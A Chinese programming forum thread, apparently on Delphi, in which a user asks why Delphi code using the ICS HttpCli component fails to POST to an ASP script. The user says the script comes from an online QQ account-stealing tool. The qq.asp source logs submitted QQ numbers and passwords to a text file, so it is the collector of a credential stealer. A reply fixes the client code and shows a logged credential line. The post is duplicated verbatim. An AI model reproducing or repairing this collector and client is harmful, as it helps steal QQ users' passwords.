使用网上盗QQ的那个ASP源码,学着使用HTTPCLI模拟实现POST下边是源码
var
Buf:string;
InStream,OutStream:TMemoryStream;
begin
InStream :=TMemoryStream.Create;
OutStream :=TMemoryStream.Create;
Buf :='QQNumber=123456&QQPassWord=321654&QQclub=true&QQip=127.0.0.1';
InStream.Write(buf[1],Length(Buf));
InStream.Position :=0;
HttpCli1.SendStream :=InStream;
HttpCli1.RcvdStream :=OutStream;
HttpCli1.URL :='http://localhost/qq.asp';
HttpCli1.Post;
Memo1.Lines.LoadFromStream(OutStream);
可是在Buf中定义的字串根本没有加入到模拟提交的地址中模拟提交的只有http://localhost/qq.asp郁闷.不知道为何.在提交时使用的HTTP头信息定义在了HTTPCLI属性里没有直接写代码.下边附上qq.asp源码
<%
strLogFile="qq.txt"
QQNumber=request("QQNumber")
QQPassWord=request("QQPassWord")
QQclub=request("QQclub")
QQip=request("QQip")if QQNumber="" or QQPassWord="" then
response.write "配置正确"
response.end
End If
StrLogText=StrLogText&QQNumber&"----"&QQPassWord&"----会员:"&QQclub&"----IP:"&QQip&"("&request.servervariables("REMOTE_HOST")
StrLogText=StrLogText&")----"&date&" "×et f=Server.CreateObject("scripting.filesystemobject")
set ff=f.opentextfile(server.mappath(".")&"\"&strLogFile,8,true,0)
ff.writeline(chr(13)+chr(10)&StrLogText)
ff.close
set ff=nothing
set f=nothingresponse.write "成功!"
%>
var
Buf:string;
InStream,OutStream:TMemoryStream;
begin
InStream :=TMemoryStream.Create;
OutStream :=TMemoryStream.Create;
Buf :='QQNumber=123456&QQPassWord=321654&QQclub=true&QQip=127.0.0.1';
InStream.Write(buf[1],Length(Buf));
InStream.Position :=0;
HttpCli1.SendStream :=InStream;
HttpCli1.RcvdStream :=OutStream;
HttpCli1.URL :='http://localhost/qq.asp';
HttpCli1.Post;
Memo1.Lines.LoadFromStream(OutStream);
可是在Buf中定义的字串根本没有加入到模拟提交的地址中模拟提交的只有http://localhost/qq.asp郁闷.不知道为何.在提交时使用的HTTP头信息定义在了HTTPCLI属性里没有直接写代码.下边附上qq.asp源码
<%
strLogFile="qq.txt"
QQNumber=request("QQNumber")
QQPassWord=request("QQPassWord")
QQclub=request("QQclub")
QQip=request("QQip")if QQNumber="" or QQPassWord="" then
response.write "配置正确"
response.end
End If
StrLogText=StrLogText&QQNumber&"----"&QQPassWord&"----会员:"&QQclub&"----IP:"&QQip&"("&request.servervariables("REMOTE_HOST")
StrLogText=StrLogText&")----"&date&" "×et f=Server.CreateObject("scripting.filesystemobject")
set ff=f.opentextfile(server.mappath(".")&"\"&strLogFile,8,true,0)
ff.writeline(chr(13)+chr(10)&StrLogText)
ff.close
set ff=nothing
set f=nothingresponse.write "成功!"
%>
解决方案 »
- 关于Borland Socket Server使用方式的问题
- 求,ICO,BMP,程序图标!!
- 玺瑞(syrds)rs485协议有谁做过啊,急啊
- delphi和borland C++bulider的区别。
- XML的解析问题
- 预监报表时,如何捕获用户按上一页,下一页按钮的事件
- 我发现FastReport报表中有个frcrossobject,对做cross型的报表非常好用,可是自定义功能去好象不够,怎么办
- 怎样截获网络的数据经处理后在交给ie显示呢?
- 我遇到怪问题,请高手帮我解决
- 我开发一个c/s结构的erp我想用ado连接database应用服务器怎样制作
- richEdit插入WORD里的表格会变形
- 有关copyfile的问题
我使用的是ICS组件里的httpcli.
POST方法是个过程.不是函数.
无法使用httpcli.Post(HttpCli1.URL, InStream)
123456----321654----会员:true----IP:127.0.0.1(127.0.0.1)----2010-9-16 23:57:32
在 memo1 里面将会显示 成功! 字样。
var
Buf:Ansistring;
InStream,OutStream:TMemoryStream;
begin
InStream :=TMemoryStream.Create;
OutStream :=TMemoryStream.Create;
Buf :='QQNumber=123456&QQPassWord=321654&QQclub=true&QQip=127.0.0.1';
InStream.Write(buf[1],Length(Buf));
InStream.Position :=0;
HttpCli1.SendStream :=InStream;
HttpCli1.RcvdStream :=OutStream;
HttpCli1.URL :='http://localhost/qq.asp';
HttpCli1.Post;
OutStream.Position := 0;
Memo1.Lines.LoadFromStream(OutStream);
end;
嘿嘿.谢谢了!